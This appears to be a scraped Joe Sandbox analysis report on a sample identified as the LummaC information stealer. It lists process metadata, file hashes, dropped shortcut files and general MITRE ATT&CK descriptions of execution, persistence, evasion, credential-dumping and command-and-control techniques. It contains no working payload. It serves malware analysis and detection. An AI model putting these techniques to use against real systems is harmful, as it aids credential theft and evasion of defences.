Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:23:25
Start date:	26/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=1908,i,13193354227088647173,12543081147738744135,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 0105466F Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1642541154.0000000001053000.00000004.00000020.00020000.00000000.sdmp, Offset: 01053000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1053000_pVbAZEFIpI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4ce78a6bf9ff1c18dcbbf4f08878948b47e8ccae44885f1ec9bb84f13bd10b4
Instruction ID: 7975d2d9a9a7c53675d9547534578f8d93d6bb0d93c6eaf1584a3e8acc3940c8
Opcode Fuzzy Hash: e4ce78a6bf9ff1c18dcbbf4f08878948b47e8ccae44885f1ec9bb84f13bd10b4
Instruction Fuzzy Hash: F02100621092D08FD306CF38E4A4A82BFA2FF8B31639E40DCC9C18F527C2A56542CB52

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report pVbAZEFIpI.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Windows Analysis Report
pVbAZEFIpI.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre